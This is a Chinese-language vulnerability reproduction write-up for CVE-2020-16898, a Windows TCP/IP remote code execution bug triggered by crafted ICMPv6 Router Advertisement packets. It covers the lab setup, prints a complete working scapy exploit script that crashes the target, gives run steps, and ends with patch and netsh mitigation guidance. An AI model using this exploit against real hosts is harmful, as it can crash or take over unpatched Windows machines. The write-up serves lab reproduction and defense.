0x01 簡介
TCP/IP是指能夠在多個不同網(wǎng)絡(luò)間實現(xiàn)信息傳輸?shù)膮f(xié)議簇。TCP/IP協(xié)議不僅僅指的是TCP和IP兩個協(xié)議,而是指一個由FTP、SMTP、TCP、UDP、IP等協(xié)議構(gòu)成的協(xié)議簇,只是因為在TCP/IP協(xié)議中TCP協(xié)議和IP協(xié)議最具代表性,所以被稱為TCP/IP協(xié)議。
0x02 漏洞概述
編號:CVE-2020-16898
遠(yuǎn)程攻擊者通過構(gòu)造特制的ICMPv6 Router Advertisement(路由通告)數(shù)據(jù)包,并將其發(fā)送到遠(yuǎn)程Windows主機上,即可在目標(biāo)主機上執(zhí)行任意代碼。要利用此漏洞,攻擊者必須將特制的ICMPv6路由器廣告數(shù)據(jù)包發(fā)送到遠(yuǎn)程Windows計算機。
觸發(fā)條件
僅當(dāng)源地址是本地鏈接的IPv6時,才能利用此bug。
整個有效負(fù)載必須是有效的IPv6數(shù)據(jù)包。如果您將標(biāo)頭弄得太多,觸發(fā)觸發(fā)錯誤之前,您的數(shù)據(jù)包將被拒絕
在驗證數(shù)據(jù)包大小的過程中,可選標(biāo)頭中所有定義的“長度”必須與數(shù)據(jù)包大小匹配
此漏洞允許走私額外的“標(biāo)題”。此標(biāo)頭未經(jīng)驗證,并且包含“長度”字段。觸發(fā)錯誤后,無論如何都會根據(jù)數(shù)據(jù)包大小檢查此字段。
需要繞過Windows NDIS API可以觸發(fā)錯誤
0x03 影響版本
Microsoft:window_server_2019:/1903/1909/2004
Microsoft:window_server_2019:*
Microsoft:window_server:1903/1909/2004
0x04 環(huán)境搭建
攻擊機:Ubuntu
(python版本:3.7,安裝了scapy依賴)
pip install scapy
攻擊機的IPv6為
fe80::b1b3:3a5a:b16d:3385 
漏洞環(huán)境機:Windows 10 1903

漏洞環(huán)境機子需要開啟ipv6

使用cmd的ipconfig查看

現(xiàn)在漏洞環(huán)境里IPv6地址為
fdb2:2c26:f4e4:0:2d3a:7f28:92af:3192
漏洞環(huán)境機選用的ipv6地址為ipv6地址或臨時ipv6地址,攻擊機選用的ipv6地址為本地鏈接ipv6地址,攻擊機與受害機網(wǎng)絡(luò)要通,可嘗試ping一下

0x05 漏洞復(fù)現(xiàn)
EXP下載地址:
http://site.pi3.com.pl/exp/p_CVE-2020-16898.py
#!/usr/bin/env python3## Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability## Author: Adam 'pi3' Zabrocki# http://pi3.com.pl# from scapy.all import * v6_dst = "fd12:db80:b052:0:7ca6:e06e:acc1:481b"v6_src = "fe80::24f5:a2ff:fe30:8890" p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"p_test = p_test_half + 'A'.encode()*4 c = ICMPv6NDOptEFA(); e = ICMPv6NDOptRDNSS()e.len = 21e.dns = ["AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ] pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \ Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \ IPv6ExtHdrFragment()/pkt l=fragment6(p_test_frag, 200) for p in l: send(p)
修改exp中的v6_dst 以及v6_src
v6_dst = "fdb2:2c26:f4e4:0:2d3a:7f28:92af:3192" v6_src = "fe80::b1b3:3a5a:b16d:3385" sudo python3.7 p_CVE-2020-16898.py

0x06 修復(fù)方式
1、升級更新。立即安裝針對此漏洞的更新,下載最新的補丁包進(jìn)行更新修復(fù),如下鏈接:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898
2、不能升級的話,先禁用基于RA的DNS配置CMPv6 RDNSS
使用以下PowerShell命令禁用ICMPv6 RDNSS,以防止攻擊者利用此漏洞。此解決方法僅適用于Windows 1709及更高版本。
netsh int ipv6 set int *INTERFACENUMBER* rabaseddnsconfig=disable